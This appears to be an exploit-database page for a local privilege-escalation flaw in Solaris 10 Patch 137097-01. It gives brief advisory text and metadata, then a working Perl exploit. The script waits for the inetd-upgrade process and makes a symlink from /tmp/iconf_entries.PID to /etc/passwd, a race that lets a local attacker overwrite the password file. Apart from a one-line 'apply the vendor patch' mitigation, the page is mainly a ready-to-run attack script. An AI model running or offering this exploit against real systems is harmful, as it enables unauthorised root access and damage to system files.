header-logo
Suggest Exploit
vendor:
Solaris 10
by:
SecurityFocus
7,2
CVSS
HIGH
Local Privilege-Escalation
264
CWE
Product Name: Solaris 10
Affected Version From: Solaris 10 Patch 137097-01
Affected Version To: Solaris 10 Patch 137097-01
Patch Exists: Yes
Related CWE: N/A
CPE: o:oracle:solaris:10
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Solaris
2012

Solaris 10 Patch 137097-01 Local Privilege-Escalation Vulnerability

Solaris 10 Patch 137097-01 is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain elevated privileges on affected computers. The exploit code creates a symlink from /etc/passwd to /tmp/iconf_entries.PID, where PID is the process ID of the inetd-upgrade process.

Mitigation:

Apply the latest patch from the vendor.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/54919/info

Solaris 10 Patch 137097-01 is prone to a local privilege-escalation vulnerability. 

Local attackers can exploit this issue to gain elevated privileges on affected computers.

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}